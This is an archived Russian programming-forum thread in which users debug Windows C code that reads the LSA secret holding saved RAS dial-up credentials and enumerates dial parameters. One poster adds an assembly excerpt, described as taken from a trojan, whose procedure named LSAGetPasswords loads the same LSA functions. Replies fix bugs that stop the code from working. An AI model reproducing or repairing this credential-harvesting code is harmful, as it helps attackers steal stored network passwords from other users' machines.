|
|
| Посл.отвђт | Сообщенiе |
|
|
Дата: Янв 10, 2004 00:30:48 · Поправил: Nimnull Приветствую... Люди, знает , может, кто - из-за чего выскакивает сообщение "User breakpoint called from code at ntdll.dll:xxxxxxxxxx" при отладке проги (VC6.0, XP SP1) на функции RasGetEntryProperties(0, RasEntryName->szEntryName, &RasEntry, &RasEntrySize, 0, 0); и отладчик переключается в режим дизассемблера... После этой функции программу хрен отладишь...
/---headers.h--------
#include <windows.h>
#include <ntsecapi.h>
#include <stdio.h>
#include <ras.h>
/*
#pragma comment(linker,"/MERGE:.rdata=.text")
#pragma comment(linker,"/FILEALIGN:512 /SECTION:.text,EWRX /IGNORE:4078")
#pragma comment(linker,"/ENTRY:new_main")
#pragma comment(linker,"/NODEFAULTLIB")
*/
#ifndef STATUS_SUCCESS
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#endif
typedef NTSTATUS (* PFN_LSARETRIEVEPRIVATEDATA)(LSA_HANDLE,PLSA_UNICODE_STRING,PLSA_UNICOD E_STRING*);
#define PN_LSARETRIEVEPRIVATEDATA "LsaRetrievePrivateData"
typedef NTSTATUS (* PFN_LSAOPENPOLICY)(PLSA_UNICODE_STRING,PLSA_OBJECT_ATTRIBUTES,ACCESS_M ASK, PLSA_HANDLE);
#define PN_LSAOPENPOLICY "LsaOpenPolicy"
typedef NTSTATUS (* PFN_LSACLOSE)(LSA_HANDLE);
#define PN_LSACLOSE "LsaClose"
/---------------------------------
#include "headers.h"
int main(void)
{
PFN_LSARETRIEVEPRIVATEDATA pfnRPD = NULL;
PFN_LSAOPENPOLICY pfnLOP = NULL;
PFN_LSACLOSE pfnLC = NULL;
HMODULE hLib = NULL;
LSA_UNICODE_STRING UnicodeStr;
PLSA_UNICODE_STRING PrivateData;
LSA_OBJECT_ATTRIBUTES ObjAttrib;
LSA_HANDLE PolicyHandle;
NTSTATUS nts;
RASENTRYNAME *RasEntryName = (RASENTRYNAME*) HeapAlloc(GetProcessHeap(), 0, sizeof(RASENTRYNAME));
DWORD dwEntries = 0;
DWORD dwCb = 5*(sizeof(RASENTRYNAME));
RASENTRY RasEntry;
DWORD RasEntrySize;
RASDIALPARAMS RasDialParams;
BOOL PasswFlag;
UnicodeStr.Buffer = L"L$_RasDefaultCredentials#0";
UnicodeStr.Length = lstrlenW(UnicodeStr.Buffer) * sizeof(WCHAR);
UnicodeStr.MaximumLength = (lstrlenW(UnicodeStr.Buffer) + 1) * sizeof(WCHAR);
ZeroMemory(&RasEntry, sizeof(RASENTRY));
RasEntry.dwSize = RasEntrySize = sizeof(RASENTRY);
ZeroMemory(&RasDialParams, sizeof(RASDIALPARAMS));
RasDialParams.dwSize = sizeof(RASDIALPARAMS);
ZeroMemory(&ObjAttrib, sizeof(LSA_OBJECT_ATTRIBUTES));
ObjAttrib.Length = sizeof(LSA_OBJECT_ATTRIBUTES);
ZeroMemory(RasEntryName, sizeof(RasEntryName));
RasEntryName->dwSize = (sizeof(RASENTRYNAME));
hLib = LoadLibrary("ADVAPI32.DLL");
pfnRPD = (PFN_LSARETRIEVEPRIVATEDATA) GetProcAddress(hLib, PN_LSARETRIEVEPRIVATEDATA);
pfnLOP=(PFN_LSAOPENPOLICY)GetProcAddress(hLib, PN_LSAOPENPOLICY);
pfnLC = (PFN_LSACLOSE)GetProcAddress(hLib, PN_LSACLOSE);
FreeLibrary(hLib);
if ((NULL != pfnLOP) && (NULL != pfnLC))
{
nts = (*pfnLOP)(NULL, &ObjAttrib, POLICY_ALL_ACCESS, &PolicyHandle);
nts = (*pfnRPD)(PolicyHandle, &UnicodeStr, &PrivateData);
RasEnumEntries(NULL, NULL, RasEntryName, &dwCb, &dwEntries);
//---------------------------
RasGetEntryProperties(0, RasEntryName->szEntryName, &RasEntry, &RasEntrySize, 0, 0);
//===========================
lstrcpy(RasDialParams.szEntryName, RasEntryName->szEntryName);
RasGetEntryDialParams(NULL, &RasDialParams, &PasswFlag);
WORD offs = PrivateData->Buffer[0];
(*pfnLC)(PolicyHandle);
printf("Done.\n");
}
return 0;
}
P.S Бряков, разумеется, сам я не ставлю... |
|
|
Дата: Янв 10, 2004 05:09:34 · Поправил: q_q Nimnull 1. Для вызова RasEnumEntries ты выделил под RasEntryName всего один sizeof(RASENTRYNAME), а в dwCb указал 5*sizeof(RASENTRYNAME). 2. пример использования RasEnumEntries (delphi) обрати внимание, на размер RasEntries, и на то что заносят в RasEntries[0]->dwSize. 3. Ты действительно не проверяешь успешно ли завершился вызов API или убрал проверки для компактности сообщения? ps отредактируй сообщение (убери tab'ы в коде), а то на экран не помещается. |
|
|
Дата: Янв 10, 2004 05:21:11 1600x1200 помещается :) |
|
|
Дата: Янв 10, 2004 05:37:22 Nimnull У тебя есть описания функций: LsaRetrievePrivateData LsaOpenPolicy LsaClose Если есть поделись... |
|
|
Дата: Янв 10, 2004 05:37:57 Nimnull У тебя есть описания функций: LsaRetrievePrivateData LsaOpenPolicy LsaClose Если есть поделись... |
|
|
Дата: Янв 10, 2004 05:52:33 AsbAlex msdn-online не катит? примеры из inet'a не подходят? psdk не используешь? |
|
|
Дата: Янв 10, 2004 06:09:19 hGoblin Imho даже владельцы hires не будут спорить, что плохо _оформленное_ сообщение оттолкнет потенциальных отвечателей. |
|
|
Дата: Янв 10, 2004 06:35:33 · Поправил: hGoblin q_q Imho даже владельцы hires не будут спорить,... Я тем более не буду. При таком hirese видно только, что скроллбара нету, а буквы хрен разберешь. |
|
|
Дата: Янв 10, 2004 08:36:56 · Поправил: AsbAlex q_q мне бы на русском... Дай,если есть конечно... |
|
|
Дата: Янв 10, 2004 08:40:44 Ну и еще одно Вот это содранно с исходника одного трояна: LSA_UNICODE_STRING struct Len dw ? MaximumLength dw ? Buffer dd ? LSA_UNICODE_STRING ends .data szAdvApi db "advapi32.dll",0 LsaF1 db "LsaOpenPolicy",0 LsaF2 db "LsaRetrievePrivateData",0 LsaF3 db "LsaFreeMemory",0 LsaF4 db "LsaClose",0 szDial db "DialParamsUID",0 szLPath db "Microsoft\Network\Connections\pbk\rasphone.pbk",0 szSid db "S-1-", 0 szSid1 db "%s0x%02hx%02hx%02hx%02hx%02hx%02hx",0 szSid2 db "%s%lu",0 szSid3 db "%s-%lu",0 .data? lpBuf db 32768 dup(?) .code start: invoke LSAGetPasswords invoke ExitProcess,0 ; Get text version of security identificator for the currently logged user LSAGetPasswords proc uses esi edi LOCAL hLib: DWORD LOCAL arqst[256]: BYTE LOCAL rqst[256]: WCHAR LOCAL objattrib[18h]: BYTE LOCAL lsaid, pswprt: DWORD LOCAL ketnm: LSA_UNICODE_STRING LOCAL pwbuf, bufxp: DWORD LOCAL bufsz, nttxtbuf, xpbuflen: DWORD LOCAL _LsaOpenPolicy, _LsaRetrievePrivateData, _LsaFreeMemory, _LsaClose: DWORD ; Initialize mov lsaid, 0 mov pswprt, 0 mov nttxtbuf, 0 mov xpbuflen, 0 mov bufxp, 0 mov arqst[0], 0 ; Load advapi.dll library invoke LoadLibrary, offset szAdvApi mov hLib, eax ; Load Lsa functions invoke GetProcAddress, hLib, offset LsaF1 mov _LsaOpenPolicy, eax invoke GetProcAddress, hLib, offset LsaF2 mov _LsaRetrievePrivateData, eax invoke GetProcAddress, hLib, offset LsaF3 mov _LsaFreeMemory, eax invoke GetProcAddress, hLib, offset LsaF4 mov _LsaClose, eax mov ecx, 18h lea edi, objattrib xor eax, eax rep stosb lea eax, lsaid push eax push 4 lea eax, objattrib push eax push 0 call _LsaOpenPolicy ret LSAGetPasswords endp Почему после вызова _LsaOpenPolicy GetLastError возвращает ERROR_IO_PENDING |
|
|
Дата: Янв 10, 2004 09:55:18 AsbAlex Зачем вызывать GetLastError? LsaOpenPolicy сама возвращает код ошибки. Для его перевода в Win32 error code надо использовать LsaNtStatusToWinError. |
|
|
Дата: Янв 11, 2004 15:27:55 · Поправил: Nimnull Я уже сам понял в чем дело - __stdcall надо дописать при об'явлении указателей на функции. q_q Ну, бывает, пользуюсь ;) AsbAlex На английском есть (MSDN), а на человеческом ищи в инете... (если надо напиши - tomyfriend@kist.ru, имхо там немало...) P.S. За табы в коде - извиняюсь (у меня 1024x768 - все нормально ;), как-то не подумал... |
|
Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.072 |